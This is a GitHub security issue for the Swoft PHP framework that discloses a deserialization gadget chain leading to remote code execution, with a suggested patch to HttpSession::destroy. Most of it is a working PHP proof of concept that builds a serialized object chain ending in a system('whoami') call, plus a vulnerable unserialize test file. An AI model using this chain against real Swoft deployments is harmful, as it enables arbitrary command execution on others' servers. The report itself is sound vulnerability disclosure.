swoft-cloud / swoft

🚀 PHP Microservice Full Coroutine Framework
https://swoft.org
Apache License 2.0
5.58k stars 785 forks source link

A gadget chain of the deserialization vulnerability in latest Swoft #1506

Open CyanM0un opened 1 year ago

CyanM0un commented 1 year ago
Q A
Security report? yes

Details The website swoft.io doesn't work so I report the gadget chain here, which could lead to RCE when deserializing untrusted data. The testing files are listed below:

<?php
// payload.php
namespace Swoft\Session
{
    class SwooleStorage
    {
        private $db;

        function __construct($function, $parameter)
        {
            $this->db = new \Swoft\Http\Session\HttpSession($function, $parameter);
        }
    }
}

namespace Swoft\Http\Session
{
    class HttpSession
    {
        private $handler;
        private $sessionId;

        function __construct($function, $parameter)
        {
            $this->sessionId = 'x';
            $this->handler = new \Swoft\Console\Style\Style($function, $parameter);
        }
    }
}

namespace Swoft\Console\Style
{
    class Style
    {
        private $styles;

        function __construct($function, $parameter)
        {
            $this->styles = new \Dotenv\Environment\DotenvVariables($function, $parameter);
        }
    }
}

namespace Dotenv\Environment
{
    class DotenvVariables
    {
        protected $adapters;

        function __construct($function, $parameter)
        {
            $this->adapters = new \PhpOption\LazyOption($function, $parameter);
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        function __construct($function, $parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}

namespace
{
    echo urlencode(serialize(new \Swoft\Session\SwooleStorage("system", "whoami")));
}
//index.php in Swotf directory
<?php
include_once __DIR__ . "/vendor/autoload.php";
unserialize(urldecode($poc));

Advice I am wondering about adding a patch below in class Swoft\Http\Session\HttpSession may help prevent the gadget chain execution:

public function destroy(): bool
{
    $this->data   = [];
    $this->closed = true;
    if (!method_exists($this->handler,'destroy')) {die();}
    return $this->handler->destroy($this->sessionId);
}